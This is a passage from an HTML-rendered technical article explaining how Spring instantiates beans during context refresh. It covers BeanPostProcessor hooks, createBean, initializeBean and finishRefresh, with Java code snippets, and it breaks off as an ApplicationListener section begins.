&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getOrder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;beanpostprocessor&quot;&gt;BeanPostProcessor&lt;/h3&gt;&lt;p&gt;After instantiating and invoking the BeanFactoryPostProcessors, Spring will also handle the instantiation of BeanPostProcessors, which implement the &lt;strong&gt;BeanPostProcessor&lt;/strong&gt;
interface and, unlike BeanFactoryPostProcessors, act at the level of each individual bean after it has been instantiated. This happens within the &lt;em&gt;registerBeanPostProcessors()&lt;/em&gt; method.&lt;/p&gt;&lt;p&gt;You can declare BeanPostProcessors and BeanFactoryPostProcessors as static to force Spring to initialize them before any other bean.
To better understand, consider an example of declaring a BeanPostProcessor:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeforeInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()+&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; Before callback&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; bean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()+&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; After callback&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; bean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In this example, consider defining a BeanPostProcessor that adjusts the desired behavior of beans after the initialization phase, but before or after the execution
of initialization callbacks (afterPropertySet() and init-method). This allows for dynamicizing and modifying the final instance of the bean, enabling detailed
customization of its properties and behaviors. It&amp;#x27;s important to emphasize that the application of such a BeanPostProcessor occurs only after the bean has been created.&lt;/p&gt;&lt;p&gt;Finally, the phase of instantiating other beans, which constitute the main components of the application (annotated with @Component, @Service, @Repository, etc.), always
occurs within the refresh method, more precisely in the &lt;em&gt;finishBeanFactoryInitialization()&lt;/em&gt; method.&lt;/p&gt;&lt;p&gt;The process starts with the invocation of the doGetBean() method of the &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt;&amp;#x27;s beanFactory.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;lt;T&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doGetBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; name, @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;T&amp;gt; requiredType, @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[] args, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; typeCheckOnly)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        throws BeansException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;transformedBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RootBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mbd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMergedLocalBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;createBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName, mbd, args);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Within the &lt;em&gt;createBean()&lt;/em&gt; method lies the heart of the process. In the method, defined in the &lt;strong&gt;AbstractAutowireCapableBeanFactory&lt;/strong&gt; class, the &lt;em&gt;doCreateBean()&lt;/em&gt; method is
called. In this phase, a preliminary check is made to see if the bean to be instantiated is a singleton and if it is already present in the singleton bean cache.
If it&amp;#x27;s not in the cache, the &lt;em&gt;createBeanInstance()&lt;/em&gt; method of the AbstractAutowireCapableBeanFactory class is called to handle the creation of the bean. Here, the
actual instantiation process occurs using the &lt;em&gt;instantiateUsingFactoryMethod()&lt;/em&gt; method of the ConstructorResolver class.&lt;/p&gt;&lt;p&gt;If we&amp;#x27;re using constructor dependency
injection, this is where dependencies are imported into the returned wrapper instance. On the other hand, if we&amp;#x27;re using the @Autowired annotation for dependency
injection, the process is slightly different. Dependencies will be initialized in the &lt;em&gt;populateBean()&lt;/em&gt; method of the AbstractAutowireCapableBeanFactory class, more
precisely within the &lt;em&gt;postprocessProperty()&lt;/em&gt; method. This latter method, in turn, invokes &lt;em&gt;doResolveDependency()&lt;/em&gt; to resolve the required dependencies.&lt;/p&gt;&lt;p&gt;Once the populateBean() method is finished, the &lt;em&gt;initializeBean()&lt;/em&gt; method of the AbstractAutowireCapableBeanFactory class is called, taking the BeanName and the
previously created bean instance. This will be the method responsible for applying the BeanPostProcessors in order to dynamicize and modify the final instance
of the bean.&lt;/p&gt;&lt;p&gt;After invoking initializeBean(), two phases are activated that define the behavior of the newly initialized bean:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;applyBeanPostProcessorsBeforeInitialization&lt;/em&gt;&lt;/strong&gt;: This method applies the BeanPostProcessors by acting according to the logic defined in the &lt;em&gt;postProcessBeforeInitialization()&lt;/em&gt;
method. Here, the BeanPostProcessors have the opportunity to manipulate and customize the bean before the so-called initialization callbacks such as &lt;em&gt;afterPropertySet()&lt;/em&gt; and
any custom init-method are executed.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;applyBeanPostProcessorsBeforeInstantiation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; beanClass, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanName) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;InstantiationAwareBeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanPostProcessorCache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;instantiationAware&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bp&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeforeInstantiation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanClass, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (result != &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;applyBeanPostProcessorsAfterInitialization&lt;/em&gt;&lt;/strong&gt;: In this phase, the BeanPostProcessors operate based on the logic contained in the &lt;em&gt;postProcessAfterInitialization()&lt;/em&gt;
method. Here, the BeanPostProcessors intervene following the aforementioned callbacks.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;applyBeanPostProcessorsAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; existingBean, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; beanName)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       throws BeansException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = existingBean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;current&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(result, beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (current == &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;       result = current;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Finally, once all beans have been initialized with their dependencies, and the BeanPostProcessors have been applied, the refresh flow concludes with the
&lt;em&gt;finishRefresh()&lt;/em&gt; method. This method performs a series of essential operations:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;It begins by cleaning the caches and initializing the LifecycleProcessor, which implements the &lt;em&gt;onRefresh()&lt;/em&gt; and &lt;em&gt;onClose()&lt;/em&gt; methods managing the two phases.&lt;/li&gt;&lt;li&gt;Subsequently, it notifies the LifecycleProcessor of the completed refresh of the applicationContext.&lt;/li&gt;&lt;li&gt;Finally, it publishes a ContextRefreshedEvent, signaling that the context is now fully initialized and ready for use.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In summary, &lt;em&gt;finishRefresh()&lt;/em&gt; is the endpoint that ensures the context is ready and operational after the refresh.&lt;/p&gt;&lt;h3 id=&quot;applicationlistener&quot;&gt;ApplicationListener&lt;/h3&gt;&lt;p&gt;After discussing the importance of BeanFactoryPostProcessor and BeanPostProcessor in the initialization and manipulation of
beans within the application, it is important to also explore the role of &lt;strong&gt;ApplicationListener&amp;lt;E extends ApplicationEvent&amp;gt;&lt;/strong&gt;.
These provide a mechanism for event handling, allowing for the definition of specific actions to be executed in response
